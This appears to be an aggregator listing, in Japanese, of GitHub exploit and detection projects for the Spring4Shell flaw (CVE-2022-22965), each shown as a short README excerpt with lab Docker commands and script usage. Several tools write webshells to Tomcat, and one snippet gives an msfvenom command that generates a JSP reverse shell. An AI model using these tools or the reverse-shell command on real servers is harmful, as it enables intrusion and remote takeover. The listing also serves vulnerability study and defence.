SpringShell

Spring Core RCE - CVE-2022-22965 Spring Cloud に続き、3月29日にSpringのもう一つの重大な脆弱性がインターネット上で明らかになりました：Spring Core RCE 3月31日、Springはこの脆弱性を修正した新しいバージョンをリリースしました。セクションパッチ適用を参照してください。 3月31日、ついにCVE番号がこの脆弱性に割り当てられ、CVSSスコア9.8（CRITICAL）となりました。 概念実証 このエクスプロイトは非常に使いやすく、そのためCVSSスコアは9.8と非常に高くなっています。...

SpringFramework_CVE-2022-22965_RCE

SpringFrameworkCVE-2022-22965RCE SpringFramework リモートコード実行脆弱性 CVE-2022-22965 脆弱性再現環境 root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -d -p 8090:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29 WebShellの書き込み 注意：検証テストではShellは一度だけ書き込めます。 利用スクリプト root@kitploit:...

Safer_PoC_CVE-2022-22965

SaferPoCCVE-2022-22965 CVE-2022-22965 Spring4Shell のためのより安全な PoC 機能 Tomcat ディレクトリ 'webapps/ROOT' に CVE2022-22965exploited.txt というファイルを作成します ユーザー引数で出力ディレクトリを変更可能 出力された .txt ファイルをリクエストすることでエクスプロイトの検証が行われます。Tomcat の設定によっては手動での確認が必要になる場合があります。 返されたドキュメントの内容を確認するための追加検証を追加。一部の Web サーバーは HTTP ステータス 200...

CVE-2022-22965

CVE-2022-22965-POC CVE-2022-22965 spring-core一括検出スクリプト 声明：本スクリプトは学習目的のみで使用してください。不正使用は禁止です。悪意のある破壊行為や違法な使用があっても、当方とは一切関係ありません！！！ 使い方： python3 CVE-2022-22965-POC.py url.txt 書き込み成功後、シェルにアクセスします http://192.168.0.101:8090/test.jsp ここではシェルとして123のみを使用しており、トロイの木馬は使用していません。セキュリティ検査のみを目的としています。...

Spring4shell-CVE-2022-22965-POC

Spring4shell RCE 脆弱性 この脆弱性は Spring Core に影響し、攻撃者が特別に細工された HTTP リクエストを送信することで、ライブラリの HTTP リクエストパーサーの保護をバイパスし、リモートコード実行を引き起こす可能性があります。 詳細情報はこちら この脆弱性が悪用されるためには、いくつかの条件を満たす必要があります JDK 9 以降を使用している Apache Tomcat をサーブレットコンテナとして使用している 従来の WAR としてパッケージ化されている（Spring Boot 実行可能 jar とは対照的） spring-webmvc または...

CVE-2022-22965-Spring-Core-Rce

Spring-Core JDK9+ RCE 使い方 root@kitploit: ╰─ ./CVE-2022-22965 -h ─╯ 単一検出：./CVE-2022-22965 -u http://127.0.0.1:8080 一括検出：./CVE-2022-22965 -l url.txt 脆弱性のローカルテスト 0x01 Dockerイメージ root@kitploit: docker pull vulfocus/spring-core-rce-2022-03-29 docker run -itd -p 8080:8080 -P...

spring-core-rce

spring-core-rce spring core rce の簡単な利用方法 warファイルは以下を使用可能 https://github.com/fengguangbin/spring-rce-war docker環境は以下を使用可能 https://github.com/lunasec-io/Spring4Shell-POC vulfocusのオンライン環境も使用可能 http://vulfocus.io/ またはvulhubのターゲット環境 https://github.com/vulhub/vulhub/tree/master/spring/CVE-2022-22965...

spring-core-rce

Spring Core RCE/CVE-2022-22965 影響範囲：JDK=9 のSpringフレームワークおよび派生フレームワーク 記事リンク スクリプトは学習目的のみで使用し、他の目的で使用した場合の法的責任は一切著者にはありません 1.インストール root@kitploit: pip3 install -r requirements.txt 2.使い方 root@kitploit: $ python3 spring-core-rce.py -h .----..-.-. .---. .-..-. .-..----. .----. .---. .---. .----. .---...

Fast-CVE-2022-22965

標的マシン root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest リバースシェルは実質的にmsfvenomを参照しています root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp jspをURLエンコードした後、次を使用します root@kitploit: %3C%25替换 %25%7Bc2%7Di 代表...

CVE-2022-22965

CVE 2022-22965Spring4Shell の分析 脆弱性の説明 Spring4Shell は、Spring Framework の Spring Core に存在する CVE の名前です。 CVSS 3.x スコアは 9.8 で、この脆弱性は最高リスクレベル（クリティカル）に分類されています。この脆弱性により、攻撃者はリモートから任意のコードを実行し、脆弱性のあるサーバーを制御できます。 インターネット上での Spring Core の普及と Spring4Shell の深刻な影響を考慮し、この脆弱性は専門家によって Log4shell に劣らない影響力があると評価されていま...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell 概念実証 Spring Core で RCE（リモートコード実行）をテストする イメージをビルドする BuildKit ベースのビルドが必要なため、有効にする必要があります。 最も簡単な方法は、docker build コマンドを実行するときに DOCKERBUILDKIT=1 環境変数を設定することです。例： root@kitploit: $ DOCKERBUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p...

spring-core-rce

CVE-2022-22965: Spring-Core-Rce EXP 特徴: 1. 脆弱性検出 WebShellを書き込まず、簡単な文字列出力 2. WebShellファイル名とパスをカスタマイズ可能 3. 同一ファイルへの追記は行わず、検出ごとに異なる名前のWebShellファイルに書き込む 4. 冰蝎 Behinder WebShellの書き込みをサポート 5. プロキシ対応、カスタムプロキシを設定可能（例: http://127.0.0.1:8080） 使い方: root@kitploit: $ python3 exp.py -h usage: exp.py -h --url U...

CVE-2022-22965

Spring4Shellの脆弱性 - CVE-2022-22965 📕 はじめに spring4shellの脆弱性は、2022年初頭に攻撃者によって発見され広く悪用された2つの脆弱性にちなんでこのように命名されました。これらの脆弱性の1つは「Spring Cloud Functions」と呼ばれるフレームワークコンポーネント（重要度は低い）に存在し、2つ目でより重要度が高いコンポーネントは、フレームワークの中心である「Spring...

CVE-2022-22965_Spring_Core_RCE

Spring-Core-RCE Spring Framework リモートコード実行の脆弱性（CVE-2022-22965） Spring-Core-RCE は、Apache Log4j2 の核弾頭レベルの脆弱性エクスプロイトに匹敵する RCE ワンクリック悪用ツールです。 概要 最近、Spring 公式 GitHub issue で Spring Core のリモートコード実行の脆弱性が言及されました。この脆弱性は Spring フレームワークおよび派生フレームワークに広く存在します。 脆弱性の説明 Spring Core は、Spring シリーズ製品において bean...

Spring4Shell-CVE-2022-22965

Spring4Shell: CVE-2022-22965 RCE Java Spring framework RCE 脆弱性 これらの脆弱性は、フレームワークの中核である「Spring Core」コンポーネントに影響を与えます。 現在の脆弱性の条件:- JDK 9+ 脆弱性のあるバージョンのSpring Framework（5.2 | 5.2.0-19 | 5.3.0-17） SpringアプリケーションのサーバーとしてApache Tomcatを使用し、WARとしてパッケージ化されていること Spring...

ROOT-APP-MAVEN-CVE-2025-41249 CVE-2025-41249 in org.springframework:spring-core - Patched by Root

Root has patched CVE-2025-41249 in the org.springframework:spring-core package for Root:Maven. Multiple fixed versions available...

ROOT-APP-MAVEN-CVE-2026-41845 CVE-2026-41845 in org.springframework:spring-webmvc - Patched by Root

Root has patched CVE-2026-41845 in the org.springframework:spring-webmvc package for Root:Maven. Multiple fixed versions available...

CVE-2022-22965

CVE-2022-22965 Spring4Shell CVE-2022-22965 使い方 1. 情報表示 root@kitploit: ❯ go run main.go -s INF VulnInfo: "Name": "CVE-2022-22965", "VulID": "nil", "Version": "1.0", "Author": "", "VulDate": "2022-03-30", "References": "https://nosec.org/home/detail/4983.html" , "AppName": "Spring Core",...

Expoitation-de-la-vuln-rabilit-CVE-2022-22965

CVE-2022-22965 脆弱性の悪用 CVE-2022-22965 脆弱性（Spring4Shell として知られる）は、Java Spring Core フレームワークにおけるリモートコード実行 RCE の欠陥であり、バージョン 5.3.18 および 5.2.20 より前のバージョンに存在します。この脆弱性により、攻撃者は Tomcat のログ設定の不備を悪用して、コードを注入し、脆弱なサーバー上でリモート実行することができます。これは 2022 年 3 月に発見され、JDK = 9 のバージョンで動作する activeMQ、Spring MVC、Spring WebFlux...

fire-wall-server

🛡️ Spring4Shell ファイアウォール緩和策 Python スクリプト このプロジェクトは、Python の組み込み http.server モジュールを使用してファイアウォールをシミュレートし、Spring4Shell CVE-2022-22965 の脆弱性を悪用する悪意のあるリクエストを検出およびブロックします。 🔍 概要 Spring4Shell は、Spring Core Framework に影響を与える重大なリモートコード実行 RCE 脆弱性です。攻撃者は悪意のあるペイロードを使用してサーバーに Web シェルを展開します。このリポジトリは、軽量なカスタム Pytho...